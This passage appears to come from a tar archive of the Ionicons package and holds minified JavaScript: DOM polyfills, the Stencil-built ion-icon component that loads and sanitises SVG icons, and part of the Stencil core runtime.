i,s,o,u=0,a=r.length;u<a;u++)i=r[u],i.type==="childList"?(n(i.addedNodes,e),n(i.removedNodes,t)):(s=i.target,kt&&s[h]&&i.attributeName!=="style"&&(o=ht.call(s,i.attributeName),o!==i.oldValue&&s[h](i.attributeName,i.oldValue,o)))})}(Ft(a),Ft(l)),_t=function(e){return Mt.observe(e,{childList:!0,subtree:!0}),e},_t(n),ft&&(it.attachShadow=function(){return _t(ft.apply(this,arguments))})):(wt=[],n[u]("DOMNodeInserted",Ut(a)),n[u]("DOMNodeRemoved",Ut(l))),n[u](S,zt),n[u]("readystatechange",zt),it.cloneNode=function(e){var t=lt.call(this,!!e),n=It(t);return-1<n&&Pt(t,A[n]),e&&O.length&&jt(t.querySelectorAll(O)),t});if(Tt)return Tt=!1;-2<_.call(L,N+p)+_.call(L,T+p)&&$t(t);if(!C.test(p)||-1<_.call(k,p))throw new Error("The type "+t+" is invalid");var i=function(){return o?n.createElement(f,p):n.createElement(f)},s=r||D,o=P.call(s,c),f=o?r[c].toUpperCase():p,p,d;return o&&-1<_.call(L,T+f)&&$t(f),d=L.push((o?N:T)+p)-1,O=O.concat(O.length?",":"",o?f+'[is="'+t.toLowerCase()+'"]':f),i.prototype=A[d]=P.call(s,"prototype")?s.prototype:tt(it),O.length&&Bt(n.querySelectorAll(O),a),i},n.createElement=gt=function(e,t){var r=Yt(t),i=r?mt.call(n,e,et(r)):mt.call(n,e),s=""+e,o=_.call(L,(r?N:T)+(r||s).toUpperCase()),u=-1<o;return r&&(i.setAttribute("is",r=r.toLowerCase()),u&&(u=qt(s.toUpperCase(),r))),kt=!n.createElement.innerHTMLHelper,u&&Pt(i,A[o]),i}),Kt.prototype={constructor:Kt,define:V?function(e,t,n){if(n)Qt(e,t,n);else{var r=e.toUpperCase();G[r]={constructor:t,create:[r]},Z.set(t,r),X.define(e,t)}}:Qt,get:V?function(e){return X.get(e)||Gt(e)}:Gt,whenDefined:V?function(e){return K.race([X.whenDefined(e),en(e)])}:en};if(!X||/^force/.test(t.type))tn();else if(!t.noBuiltIn)try{(function(t,r,i){r[c]="a",t.prototype=tt(HTMLAnchorElement.prototype),t.prototype.constructor=t,e.customElements.define(i,t,r);if(ht.call(n.createElement("a",{is:i}),"is")!==i||V&&ht.call(new t,"is")!==i)throw r})(function on(){return Reflect.construct(HTMLAnchorElement,[],on)},{},"document-register-element-a")}catch(nn){tn()}if(!t.noBuiltIn)try{mt.call(n,"a","a")}catch(rn){et=function(e){return{is:e.toLowerCase()}}}})(window);
}

/*!
Element.closest and Element.matches
https://github.com/jonathantneal/closest
Creative Commons Zero v1.0 Universal
*/
(function(a){"function"!==typeof a.matches&&(a.matches=a.msMatchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||function(a){a=(this.document||this.ownerDocument).querySelectorAll(a);for(var b=0;a[b]&&a[b]!==this;)++b;return!!a[b]});"function"!==typeof a.closest&&(a.closest=function(a){for(var b=this;b&&1===b.nodeType;){if(b.matches(a))return b;b=b.parentNode}return null})})(window.Element.prototype);
/*!
Element.remove()
https://developer.mozilla.org/en-US/docs/Web/API/ChildNode/remove
*/
(function(b){b.forEach(function(a){a.hasOwnProperty("remove")||Object.defineProperty(a,"remove",{configurable:!0,enumerable:!0,writable:!0,value:function(){null!==this.parentNode&&this.parentNode.removeChild(this)}})})})([Element.prototype,CharacterData.prototype,DocumentType.prototype]);}esm/es5/build/esckjbl8.sc.entry.js000064400000012130151701353760012737 0ustar00/*! Built with http://stenciljs.com */
import{h}from"../ionicons.core.js";function getName(t,e,i,n){return e=(e||"md").toLowerCase(),i&&"ios"===e?t=i.toLowerCase():n&&"md"===e?t=n.toLowerCase():t&&(t=t.toLowerCase(),/^md-|^ios-|^logo-/.test(t)||(t=e+"-"+t)),"string"!=typeof t||""===t.trim()?null:""!==t.replace(/[a-z]|-|\d/gi,"")?null:t}function getSrc(t){return"string"==typeof t&&(t=t.trim()).length>0&&/(\/|\.)/.test(t)?t:null}function isValid(t){if(1===t.nodeType){if("script"===t.nodeName.toLowerCase())return!1;for(var e=0;e<t.attributes.length;e++){var i=t.attributes[e].value;if("string"==typeof i&&0===i.toLowerCase().indexOf("on"))return!1}for(e=0;e<t.childNodes.length;e++)if(!isValid(t.childNodes[e]))return!1}return!0}var Icon=function(){function t(){this.isVisible=!1,this.lazy=!1}return t.prototype.componentWillLoad=function(){var t=this;this.waitUntilVisible(this.el,"50px",function(){t.isVisible=!0,t.loadIcon()})},t.prototype.componentDidUnload=function(){this.io&&(this.io.disconnect(),this.io=void 0)},t.prototype.waitUntilVisible=function(t,e,i){var n=this;if(this.lazy&&this.win&&this.win.IntersectionObserver){var r=this.io=new this.win.IntersectionObserver(function(t){t[0].isIntersecting&&(r.disconnect(),n.io=void 0,i())},{rootMargin:e});r.observe(t)}else i()},t.prototype.loadIcon=function(){var t=this;if(!this.isServer&&this.isVisible){var e=this.getUrl();e&&getSvgContent(this.doc,e,"s-ion-icon").then(function(e){return t.svgContent=e})}if(!this.ariaLabel){var i=getName(this.name,this.mode,this.ios,this.md);i&&(this.ariaLabel=i.replace("ios-","").replace("md-","").replace(/\-/g," "))}},t.prototype.getUrl=function(){var t=getSrc(this.src);return t||((t=getName(this.name,this.mode,this.ios,this.md))?this.getNamedUrl(t):(t=getSrc(this.icon))?t:(t=getName(this.icon,this.mode,this.ios,this.md))?this.getNamedUrl(t):null)},t.prototype.getNamedUrl=function(t){return this.resourcesUrl+"svg/"+t+".svg"},t.prototype.hostData=function(){var t;return{role:"img",class:Object.assign({},createColorClasses(this.color),(t={},t["icon-"+this.size]=!!this.size,t))}},t.prototype.render=function(){return h("div",!this.isServer&&this.svgContent?{class:"icon-inner",innerHTML:this.svgContent}:{class:"icon-inner"})},Object.defineProperty(t,"is",{get:function(){return"ion-icon"},enumerable:!0,configurable:!0}),Object.defineProperty(t,"encapsulation",{get:function(){return"shadow"},enumerable:!0,configurable:!0}),Object.defineProperty(t,"properties",{get:function(){return{ariaLabel:{type:String,attr:"aria-label",reflectToAttr:!0,mutable:!0},color:{type:String,attr:"color"},doc:{context:"document"},el:{elementRef:!0},icon:{type:String,attr:"icon",watchCallbacks:["loadIcon"]},ios:{type:String,attr:"ios"},isServer:{context:"isServer"},isVisible:{state:!0},lazy:{type:Boolean,attr:"lazy"},md:{type:String,attr:"md"},mode:{type:String,attr:"mode"},name:{type:String,attr:"name",watchCallbacks:["loadIcon"]},resourcesUrl:{context:"resourcesUrl"},size:{type:String,attr:"size"},src:{type:String,attr:"src",watchCallbacks:["loadIcon"]},svgContent:{state:!0},win:{context:"window"}}},enumerable:!0,configurable:!0}),Object.defineProperty(t,"style",{get:function(){return".sc-ion-icon-h{display:inline-block;width:1em;height:1em;contain:strict;-webkit-box-sizing:content-box!important;box-sizing:content-box!important}.ion-color.sc-ion-icon-h{color:var(--ion-color-base)!important}.icon-small.sc-ion-icon-h{font-size:var(--ion-icon-size-small,18px)!important}.icon-large.sc-ion-icon-h{font-size:var(--ion-icon-size-large,32px)!important}.icon-inner.sc-ion-icon, svg.sc-ion-icon{display:block;fill:currentColor;stroke:currentColor;height:100%;width:100%}.ion-color-primary.sc-ion-icon-h{--ion-color-base:var(--ion-color-primary, #3880ff)}.ion-color-secondary.sc-ion-icon-h{--ion-color-base:var(--ion-color-secondary, #0cd1e8)}.ion-color-tertiary.sc-ion-icon-h{--ion-color-base:var(--ion-color-tertiary, #f4a942)}.ion-color-success.sc-ion-icon-h{--ion-color-base:var(--ion-color-success, #10dc60)}.ion-color-warning.sc-ion-icon-h{--ion-color-base:var(--ion-color-warning, #ffce00)}.ion-color-danger.sc-ion-icon-h{--ion-color-base:var(--ion-color-danger, #f14141)}.ion-color-light.sc-ion-icon-h{--ion-color-base:var(--ion-color-light, #f4f5f8)}.ion-color-medium.sc-ion-icon-h{--ion-color-base:var(--ion-color-medium, #989aa2)}.ion-color-dark.sc-ion-icon-h{--ion-color-base:var(--ion-color-dark, #222428)}"},enumerable:!0,configurable:!0}),t}(),requests=new Map;function getSvgContent(t,e,i){var n=requests.get(e);return n||(n=fetch(e,{cache:"force-cache"}).then(function(t){return t.ok?t.text():Promise.resolve(null)}).then(function(e){return validateContent(t,e,i)}),requests.set(e,n)),n}function validateContent(t,e,i){if(e){var n=t.createDocumentFragment(),r=t.createElement("div");r.innerHTML=e,n.appendChild(r);for(var o=r.childNodes.length-1;o>=0;o--)"svg"!==r.childNodes[o].nodeName.toLowerCase()&&r.removeChild(r.childNodes[o]);var s=r.firstElementChild;if(s&&"svg"===s.nodeName.toLowerCase()&&(i&&s.setAttribute("class",i),isValid(s)))return r.innerHTML}return""}function createColorClasses(t){var e;return t?((e={"ion-color":!0})["ion-color-"+t]=!0,e):null}export{Icon as IonIcon};esm/es5/build/esckjbl8.entry.js000064400000011742151701353760012343 0ustar00/*! Built with http://stenciljs.com */
import{h}from"../ionicons.core.js";function getName(t,e,i,n){return e=(e||"md").toLowerCase(),i&&"ios"===e?t=i.toLowerCase():n&&"md"===e?t=n.toLowerCase():t&&(t=t.toLowerCase(),/^md-|^ios-|^logo-/.test(t)||(t=e+"-"+t)),"string"!=typeof t||""===t.trim()?null:""!==t.replace(/[a-z]|-|\d/gi,"")?null:t}function getSrc(t){return"string"==typeof t&&(t=t.trim()).length>0&&/(\/|\.)/.test(t)?t:null}function isValid(t){if(1===t.nodeType){if("script"===t.nodeName.toLowerCase())return!1;for(var e=0;e<t.attributes.length;e++){var i=t.attributes[e].value;if("string"==typeof i&&0===i.toLowerCase().indexOf("on"))return!1}for(e=0;e<t.childNodes.length;e++)if(!isValid(t.childNodes[e]))return!1}return!0}var Icon=function(){function t(){this.isVisible=!1,this.lazy=!1}return t.prototype.componentWillLoad=function(){var t=this;this.waitUntilVisible(this.el,"50px",function(){t.isVisible=!0,t.loadIcon()})},t.prototype.componentDidUnload=function(){this.io&&(this.io.disconnect(),this.io=void 0)},t.prototype.waitUntilVisible=function(t,e,i){var n=this;if(this.lazy&&this.win&&this.win.IntersectionObserver){var r=this.io=new this.win.IntersectionObserver(function(t){t[0].isIntersecting&&(r.disconnect(),n.io=void 0,i())},{rootMargin:e});r.observe(t)}else i()},t.prototype.loadIcon=function(){var t=this;if(!this.isServer&&this.isVisible){var e=this.getUrl();e&&getSvgContent(this.doc,e,"s-ion-icon").then(function(e){return t.svgContent=e})}if(!this.ariaLabel){var i=getName(this.name,this.mode,this.ios,this.md);i&&(this.ariaLabel=i.replace("ios-","").replace("md-","").replace(/\-/g," "))}},t.prototype.getUrl=function(){var t=getSrc(this.src);return t||((t=getName(this.name,this.mode,this.ios,this.md))?this.getNamedUrl(t):(t=getSrc(this.icon))?t:(t=getName(this.icon,this.mode,this.ios,this.md))?this.getNamedUrl(t):null)},t.prototype.getNamedUrl=function(t){return this.resourcesUrl+"svg/"+t+".svg"},t.prototype.hostData=function(){var t;return{role:"img",class:Object.assign({},createColorClasses(this.color),(t={},t["icon-"+this.size]=!!this.size,t))}},t.prototype.render=function(){return h("div",!this.isServer&&this.svgContent?{class:"icon-inner",innerHTML:this.svgContent}:{class:"icon-inner"})},Object.defineProperty(t,"is",{get:function(){return"ion-icon"},enumerable:!0,configurable:!0}),Object.defineProperty(t,"encapsulation",{get:function(){return"shadow"},enumerable:!0,configurable:!0}),Object.defineProperty(t,"properties",{get:function(){return{ariaLabel:{type:String,attr:"aria-label",reflectToAttr:!0,mutable:!0},color:{type:String,attr:"color"},doc:{context:"document"},el:{elementRef:!0},icon:{type:String,attr:"icon",watchCallbacks:["loadIcon"]},ios:{type:String,attr:"ios"},isServer:{context:"isServer"},isVisible:{state:!0},lazy:{type:Boolean,attr:"lazy"},md:{type:String,attr:"md"},mode:{type:String,attr:"mode"},name:{type:String,attr:"name",watchCallbacks:["loadIcon"]},resourcesUrl:{context:"resourcesUrl"},size:{type:String,attr:"size"},src:{type:String,attr:"src",watchCallbacks:["loadIcon"]},svgContent:{state:!0},win:{context:"window"}}},enumerable:!0,configurable:!0}),Object.defineProperty(t,"style",{get:function(){return":host{display:inline-block;width:1em;height:1em;contain:strict;-webkit-box-sizing:content-box!important;box-sizing:content-box!important}:host(.ion-color){color:var(--ion-color-base)!important}:host(.icon-small){font-size:var(--ion-icon-size-small,18px)!important}:host(.icon-large){font-size:var(--ion-icon-size-large,32px)!important}.icon-inner,svg{display:block;fill:currentColor;stroke:currentColor;height:100%;width:100%}:host(.ion-color-primary){--ion-color-base:var(--ion-color-primary, #3880ff)}:host(.ion-color-secondary){--ion-color-base:var(--ion-color-secondary, #0cd1e8)}:host(.ion-color-tertiary){--ion-color-base:var(--ion-color-tertiary, #f4a942)}:host(.ion-color-success){--ion-color-base:var(--ion-color-success, #10dc60)}:host(.ion-color-warning){--ion-color-base:var(--ion-color-warning, #ffce00)}:host(.ion-color-danger){--ion-color-base:var(--ion-color-danger, #f14141)}:host(.ion-color-light){--ion-color-base:var(--ion-color-light, #f4f5f8)}:host(.ion-color-medium){--ion-color-base:var(--ion-color-medium, #989aa2)}:host(.ion-color-dark){--ion-color-base:var(--ion-color-dark, #222428)}"},enumerable:!0,configurable:!0}),t}(),requests=new Map;function getSvgContent(t,e,i){var n=requests.get(e);return n||(n=fetch(e,{cache:"force-cache"}).then(function(t){return t.ok?t.text():Promise.resolve(null)}).then(function(e){return validateContent(t,e,i)}),requests.set(e,n)),n}function validateContent(t,e,i){if(e){var n=t.createDocumentFragment(),r=t.createElement("div");r.innerHTML=e,n.appendChild(r);for(var o=r.childNodes.length-1;o>=0;o--)"svg"!==r.childNodes[o].nodeName.toLowerCase()&&r.removeChild(r.childNodes[o]);var s=r.firstElementChild;if(s&&"svg"===s.nodeName.toLowerCase()&&(i&&s.setAttribute("class",i),isValid(s)))return r.innerHTML}return""}function createColorClasses(t){var e;return t?((e={"ion-color":!0})["ion-color-"+t]=!0,e):null}export{Icon as IonIcon};esm/es5/index.js000064400000000026151701353760007477 0ustar00// ionicons: ES Moduleesm/es5/ionicons.core.js000064400000064527151701353760011160 0ustar00/*!
 * ionicons: Core, es5
 * Built with http://stenciljs.com
 */
function n(n,t){return"sc-"+n.n+(t&&t!==O?"-"+t:"")}function t(n,t){return n+(t?"-h":"-s")}function e(t,e,r,i){var o=r.n+i.mode,u=r[o];if((2===r.t||1===r.t&&!t.r.e)&&(i["s-sc"]=u?n(r,i.mode):n(r)),u||(u=r[o=r.n+O]),u){var f=e.i.head;if(e.e)if(1===r.t)f=i.shadowRoot;else for(var c=i;c=e.o(c);)if(c.host&&c.host.shadowRoot){f=c.host.shadowRoot;break}var a=t.u.get(f);if(a||t.u.set(f,a={}),!a[o]){var s=void 0;if(t.f?s=t.f.c(i,o,u):((s=e.a("style")).innerHTML=u,a[o]=!0),s){var l=f.querySelectorAll("[data-styles]");e.s(f,s,l.length&&l[l.length-1].nextSibling||f.firstChild)}}}}function r(n,t,e,r){void 0===r&&(r="boolean"==typeof e);var i=t!==(t=t.replace(/^xlink\:?/,""));null==e||r&&(!e||"false"===e)?i?n.removeAttributeNS(N,_(t)):n.removeAttribute(t):"function"!=typeof e&&(e=r?"":e.toString(),i?n.setAttributeNS(N,_(t),e):n.setAttribute(t,e))}function i(n,t,e,i,f,c,a){if("class"!==e||c)if("style"===e){for(var s in i)f&&null!=f[s]||(/-/.test(s)?t.style.l(s):t.style[s]="");for(var s in f)i&&f[s]===i[s]||(/-/.test(s)?t.style.setProperty(s,f[s]):t.style[s]=f[s])}else if("o"!==e[0]||"n"!==e[1]||!/[A-Z]/.test(e[2])||e in t)if("list"!==e&&"type"!==e&&!c&&(e in t||-1!==["object","function"].indexOf(typeof f)&&null!==f)){var l=n.v(t);l&&l.p&&l.p[e]?(u(t,e,f),a&&l.p[e].d&&r(t,l.p[e].y,f,4===l.p[e].m)):"ref"!==e&&(u(t,e,null==f?"":f),null!=f&&!1!==f||n.r.b(t,e))}else null!=f&&"key"!==e?r(t,e,f):(c||n.r.w(t,e)&&(null==f||!1===f))&&n.r.b(t,e);else e=_(e)in t?_(e.substring(2)):_(e[2])+e.substring(3),f?f!==i&&n.r.g(t,e,f):n.r.M(t,e);else if(i!==f){var v=o(i),p=o(f),d=v.filter(function(n){return!p.includes(n)}),h=o(t.className).filter(function(n){return!d.includes(n)}),y=p.filter(function(n){return!v.includes(n)&&!h.includes(n)});h.push.apply(h,y),t.className=h.join(" ")}}function o(n){return null==n||""===n?[]:n.trim().split(/\s+/)}function u(n,t,e){try{n[t]=e}catch(n){}}function f(n,t,e,r,o){var u=11===e.j.nodeType&&e.j.host?e.j.host:e.j,f=t&&t.vattrs||S,c=e.vattrs||S;for(o in f)c&&null!=c[o]||null==f[o]||i(n,u,o,f[o],void 0,r,e.k);for(o in c)o in f&&c[o]===("value"===o||"checked"===o?u[o]:f[o])||i(n,u,o,f[o],c[o],r,e.k)}function c(n,t){function e(i,o,u,c,a,v,m,b,w){if(b=o.vchildren[u],s||(p=!0,"slot"===b.vtag&&(l&&t.A(c,l+"-s"),b.vchildren?b.C=!0:b.O=!0)),P(b.vtext))b.j=t.S(b.vtext);else if(b.O)b.j=t.S("");else{if(v=b.j=R||"svg"===b.vtag?t.x("http://www.w3.org/2000/svg",b.vtag):t.a(b.C?"slot-fb":b.vtag),n.P(v)&&n._.delete(y),R="svg"===b.vtag||"foreignObject"!==b.vtag&&R,f(n,null,b,R),P(l)&&v["s-si"]!==l&&t.A(v,v["s-si"]=l),b.vchildren)for(a=0;a<b.vchildren.length;++a)(m=e(i,b,a,v))&&t.T(v,m);"svg"===b.vtag&&(R=!1)}return b.j["s-hn"]=h,(b.C||b.O)&&(b.j["s-sr"]=!0,b.j["s-cr"]=d,b.j["s-sn"]=b.vname||"",(w=i&&i.vchildren&&i.vchildren[u])&&w.vtag===b.vtag&&i.j&&r(i.j)),b.j}function r(e,i,o,u){n.W=!0;var f=t.N(e);for(o=f.length-1;o>=0;o--)(u=f[o])["s-hn"]!==h&&u["s-ol"]&&(t.R(u),t.s(a(u),u,c(u)),t.R(u["s-ol"]),u["s-ol"]=null,p=!0),i&&r(u,i);n.W=!1}function i(n,r,i,o,u,f,a,s){var l=n["s-cr"];for((a=l&&t.o(l)||n).shadowRoot&&t.L(a)===h&&(a=a.shadowRoot);u<=f;++u)o[u]&&(s=P(o[u].vtext)?t.S(o[u].vtext):e(null,i,u,n))&&(o[u].j=s,t.s(a,s,c(r)))}function o(n,e,i,o){for(;e<=i;++e)P(n[e])&&(o=n[e].j,v=!0,o["s-ol"]?t.R(o["s-ol"]):r(o,!0),t.R(o))}function u(n,t){return n.vtag===t.vtag&&n.vkey===t.vkey&&("slot"!==n.vtag||n.vname===t.vname)}function c(n){return n&&n["s-ol"]?n["s-ol"]:n}function a(n){return t.o(n["s-ol"]?n["s-ol"]:n)}var s,l,v,p,d,h,y,m=[];return function b(w,g,M,j,k,$,A,E,C,O,S,x){if(y=w,h=t.L(y),d=y["s-cr"],s=j,l=y["s-sc"],p=v=!1,function s(l,v,p){var d=v.j=l.j,h=l.vchildren,y=v.vchildren;R=v.j&&P(t.D(v.j))&&void 0!==v.j.ownerSVGElement,R="svg"===v.vtag||"foreignObject"!==v.vtag&&R,P(v.vtext)?(p=d["s-cr"])?t.F(t.o(p),v.vtext):l.vtext!==v.vtext&&t.F(d,v.vtext):("slot"!==v.vtag&&f(n,l,v,R),P(h)&&P(y)?function m(n,f,l,v,p,d,h,y){for(var m=0,b=0,w=f.length-1,g=f[0],M=f[w],j=v.length-1,k=v[0],$=v[j];m<=w&&b<=j;)if(null==g)g=f[++m];else if(null==M)M=f[--w];else if(null==k)k=v[++b];else if(null==$)$=v[--j];else if(u(g,k))s(g,k),g=f[++m],k=v[++b];else if(u(M,$))s(M,$),M=f[--w],$=v[--j];else if(u(g,$))"slot"!==g.vtag&&"slot"!==$.vtag||r(t.o(g.j)),s(g,$),t.s(n,g.j,t.H(M.j)),g=f[++m],$=v[--j];else if(u(M,k))"slot"!==g.vtag&&"slot"!==$.vtag||r(t.o(M.j)),s(M,k),t.s(n,M.j,g.j),M=f[--w],k=v[++b];else{for(p=null,d=m;d<=w;++d)if(f[d]&&P(f[d].vkey)&&f[d].vkey===k.vkey){p=d;break}P(p)?((y=f[p]).vtag!==k.vtag?h=e(f&&f[b],l,p,n):(s(y,k),f[p]=void 0,h=y.j),k=v[++b]):(h=e(f&&f[b],l,b,n),k=v[++b]),h&&t.s(a(g.j),h,c(g.j))}m>w?i(n,null==v[j+1]?null:v[j+1].j,l,v,b,j):b>j&&o(f,m,w)}(d,h,v,y):P(y)?(P(l.vtext)&&t.F(d,""),i(d,null,v,y,0,y.length-1)):P(h)&&o(h,0,h.length-1)),R&&"svg"===v.vtag&&(R=!1)}(g,M),p){for(function n(e,r,i,o,u,f,c,a,s,l){for(u=0,f=(r=t.N(e)).length;u<f;u++){if((i=r[u])["s-sr"]&&(o=i["s-cr"]))for(a=t.N(t.o(o)),s=i["s-sn"],c=a.length-1;c>=0;c--)(o=a[c])["s-cn"]||o["s-nr"]||o["s-hn"]===i["s-hn"]||((3===(l=t.q(o))||8===l)&&""===s||1===l&&null===t.U(o,"slot")&&""===s||1===l&&t.U(o,"slot")===s)&&(m.some(function(n){return n.B===o})||(v=!0,o["s-sn"]=s,m.push({I:i,B:o})));1===t.q(i)&&n(i)}}(M.j),A=0;A<m.length;A++)(E=m[A]).B["s-ol"]||((C=t.S(""))["s-nr"]=E.B,t.s(t.o(E.B),E.B["s-ol"]=C,E.B));for(n.W=!0,A=0;A<m.length;A++){for(E=m[A],S=t.o(E.I),x=t.H(E.I),C=E.B["s-ol"];C=t.G(C);)if((O=C["s-nr"])&&O&&O["s-sn"]===E.B["s-sn"]&&S===t.o(O)&&(O=t.H(O))&&O&&!O["s-nr"]){x=O;break}(!x&&S!==t.o(E.B)||t.H(E.B)!==x)&&E.B!==x&&(t.R(E.B),t.s(S,E.B,x))}n.W=!1}return v&&function n(e,r,i,o,u,f,c,a){for(o=0,u=(i=t.N(e)).length;o<u;o++)if(r=i[o],1===t.q(r)){if(r["s-sr"])for(c=r["s-sn"],r.hidden=!1,f=0;f<u;f++)if(i[f]["s-hn"]!==r["s-hn"])if(a=t.q(i[f]),""!==c){if(1===a&&c===t.U(i[f],"slot")){r.hidden=!0;break}}else if(1===a||3===a&&""!==t.Q(i[f]).trim()){r.hidden=!0;break}n(r)}}(M.j),m.length=0,M}}function a(n,t){n&&(n.vattrs&&n.vattrs.ref&&n.vattrs.ref(t?null:n.j),n.vchildren&&n.vchildren.forEach(function(n){a(n,t)}))}function s(n,t){for(var e,r,i=null,o=!1,u=!1,f=arguments.length;f-- >2;)L.push(arguments[f]);for(;L.length>0;){var c=L.pop();if(c&&void 0!==c.pop)for(f=c.length;f--;)L.push(c[f]);else"boolean"==typeof c&&(c=null),(u="function"!=typeof n)&&(null==c?c="":"number"==typeof c?c=String(c):"string"!=typeof c&&(u=!1)),u&&o?i[i.length-1].vtext+=c:null===i?i=[u?{vtext:c}:c]:i.push(u?{vtext:c}:c),o=u}if(null!=t){if(t.className&&(t.class=t.className),"object"==typeof t.class){for(f in t.class)t.class[f]&&L.push(f);t.class=L.join(" "),L.length=0}null!=t.key&&(e=t.key),null!=t.name&&(r=t.name)}return"function"==typeof n?n(t,i||[],D):{vtag:n,vchildren:i,vtext:void 0,vattrs:t,vkey:e,vname:r,j:void 0,k:!1}}function l(n){return{vtag:n.vtag,vchildren:n.vchildren,vtext:n.vtext,vattrs:n.vattrs,vkey:n.vkey,vname:n.vname}}function v(n){return{Y:n[0],Z:n[1],z:!!n[2],J:!!n[3],K:!!n[4]}}function p(n,t){if(P(t)&&"object"!=typeof t&&"function"!=typeof t){if(n===Boolean||4===n)return"false"!==t&&(""===t||!!t);if(n===Number||8===n)return parseFloat(t);if(n===String||2===n)return t.toString()}return t}function d(n,t){n.V.add(t),n.X.has(t)||(n.X.set(t,!0),n.nn?n.queue.write(function(){return h(n,t)}):n.queue.tick(function(){return h(n,t)}))}function h(n,e,r,i,o){return $(this,void 0,void 0,function(){var r,u;return A(this,function(f){switch(f.tn){case 0:if(n.X.delete(e),n.en.has(e))return[3,12];if(i=n.rn.get(e))return[3,6];if((o=n.in.get(e))&&!o["s-rn"])return(o["s-rc"]=o["s-rc"]||[]).push(function(){h(n,e)}),[2];if(!(i=function c(n,t,e,r,i,o,u){try{r=new(i=n.v(t).on),function f(n,t,e,r,i){n.un.set(r,e),n.fn.has(e)||n.fn.set(e,{}),Object.entries(Object.assign({color:{type:String}},t.properties,{mode:{type:String}})).forEach(function(t){var o=t[0],u=t[1];(function f(n,t,e,r,i,o,u,c){if(t.type||t.state){var a=n.fn.get(e);t.state||(!t.attr||void 0!==a[i]&&""!==a[i]||(u=o&&o.cn)&&P(c=u[t.attr])&&(a[i]=p(t.type,c)),e.hasOwnProperty(i)&&(void 0===a[i]&&(a[i]=p(t.type,e[i])),"mode"!==i&&delete e[i])),r.hasOwnProperty(i)&&void 0===a[i]&&(a[i]=r[i]),t.watchCallbacks&&(a[F+i]=t.watchCallbacks.slice()),b(r,i,function s(t){return(t=n.fn.get(n.un.get(this)))&&t[i]},function l(e,r){(r=n.un.get(this))&&(t.state||t.mutable)&&y(n,r,i,e)})}else if(t.elementRef)m(r,i,e);else if(t.context){var v=n.an(t.context);void 0!==v&&m(r,i,v.sn&&v.sn(e)||v)}})(n,u,e,r,o,i)})}(n,i,t,r,e)}catch(e){r={},n.ln(e,7,t,!0)}return n.rn.set(t,r),r}(n,e,n.vn.get(e))))return[3,5];f.tn=1;case 1:return f.pn.push([1,4,,5]),i.componentWillLoad?[4,i.componentWillLoad()]:[3,3];case 2:f.dn(),f.tn=3;case 3:return[3,5];case 4:return r=f.dn(),n.ln(r,3,e),[3,5];case 5:return[3,11];case 6:if(!i)return[3,11];f.tn=7;case 7:return f.pn.push([7,10,,11]),i.componentWillUpdate?[4,i.componentWillUpdate()]:[3,9];case 8:f.dn(),f.tn=9;case 9:return[3,11];case 10:return u=f.dn(),n.ln(u,5,e),[3,11];case 11:(function a(n,e,r,i){try{var o,u=e.on.host,f=e.on.encapsulation,c="shadow"===f&&n.r.e,a=r;if(o=function l(n,t,e){return n&&Object.keys(n).forEach(function(r){n[r].reflectToAttr&&((e=e||{})[r]=t[r])}),e}(e.on.properties,i),c&&(a=r.shadowRoot),!r["s-rn"]){n.hn(n,n.r,e,r);var v=r["s-sc"];v&&(n.r.A(r,t(v,!0)),"scoped"===f&&n.r.A(r,t(v)))}if(i.render||i.hostData||u||o){n.yn=!0;var p=i.render&&i.render(),d=void 0;d=i.hostData&&i.hostData(),o&&(d=d?Object.assign(d,o):o),n.yn=!1;var h=n.mn.get(r)||{};h.j=a;var y=s(null,d,p);y.k=!0,n.mn.set(r,n.render(r,h,y,c,f))}n.f&&n.f.bn(r),r["s-rn"]=!0,r["s-rc"]&&(r["s-rc"].forEach(function(n){return n()}),r["s-rc"]=null)}catch(t){n.yn=!1,n.ln(t,8,r,!0)}})(n,n.v(e),e,i),e["s-init"](),f.tn=12;case 12:return[2]}})})}function y(n,t,e,r,i){var o=n.fn.get(t);o||n.fn.set(t,o={});var u=o[e];if(r!==u&&(o[e]=r,i=n.rn.get(t))){var f=o[F+e];if(f)for(var c=0;c<f.length;c++)try{i[f[c]].call(i,r,u,e)}catch(n){}!n.yn&&t["s-rn"]&&d(n,t)}}function m(n,t,e){Object.defineProperty(n,t,{configurable:!0,value:e})}function b(n,t,e,r){Object.defineProperty(n,t,{configurable:!0,get:e,set:r})}function w(n,t,e,r,i,o){if(n.V.delete(t),(i=n.in.get(t))&&((r=i["s-ld"])&&((e=r.indexOf(t))>-1&&r.splice(e,1),r.length||i["s-init"]&&i["s-init"]()),n.in.delete(t)),n.wn.length&&!n.V.size)for(;o=n.wn.shift();)o()}function g(n,t,e,r){if(e.connectedCallback=function(){(function e(n,t,r){n.en.delete(r),n.gn.has(r)||(n.V.add(r),n.gn.set(r,!0),r["s-id"]||(r["s-id"]=n.Mn()),function i(n,t,e){for(e=t;e=n.r.D(e);)if(n.P(e)){n._.has(t)||(n.in.set(t,e),(e["s-ld"]=e["s-ld"]||[]).push(t));break}}(n,r),n.queue.tick(function(){n.vn.set(r,function e(n,t,r,i,o){return r.mode||(r.mode=n.jn(r)),r["s-cr"]||n.U(r,C)||n.e&&1===t.t||(r["s-cr"]=n.S(""),r["s-cr"]["s-cn"]=!0,n.s(r,r["s-cr"],n.N(r)[0])),n.e||1!==t.t||(r.shadowRoot=r),1===t.t&&n.e&&!r.shadowRoot&&n.kn(r,{mode:"open"}),i={$n:r["s-id"],cn:{}},t.p&&Object.keys(t.p).forEach(function(e){(o=t.p[e].y)&&(i.cn[o]=n.U(r,o))}),i}(n.r,t,r)),n.An(t,r)}))})(n,t,this)},e.disconnectedCallback=function(){(function t(n,e){if(!n.W&&function r(n,t){for(;t;){if(!n.o(t))return 9!==n.q(t);t=n.o(t)}}(n.r,e)){n.en.set(e,!0),w(n,e),a(n.mn.get(e),!0),n.r.M(e),n.En.delete(e);var i=n.rn.get(e);i&&i.componentDidUnload&&i.componentDidUnload(),n.f&&n.f.Cn(e),[n.in,n.On,n.vn].forEach(function(n){return n.delete(e)})}})(n,this)},e["s-init"]=function(){(function t(n,e,r,i,o,u){if(n.rn.get(e)&&!n.en.has(e)&&(!e["s-ld"]||!e["s-ld"].length)){n._.set(e,!0),n.Sn.has(e)||(n.Sn.set(e,!0),e["s-ld"]=void 0,n.r.A(e,r));try{a(n.mn.get(e)),(o=n.On.get(e))&&(o.forEach(function(n){return n(e)}),n.On.delete(e))}catch(t){n.ln(t,4,e)}w(n,e)}})(n,this,r)},e.forceUpdate=function(){d(n,this)},t.p){var i=Object.entries(t.p),o={};i.forEach(function(n){var 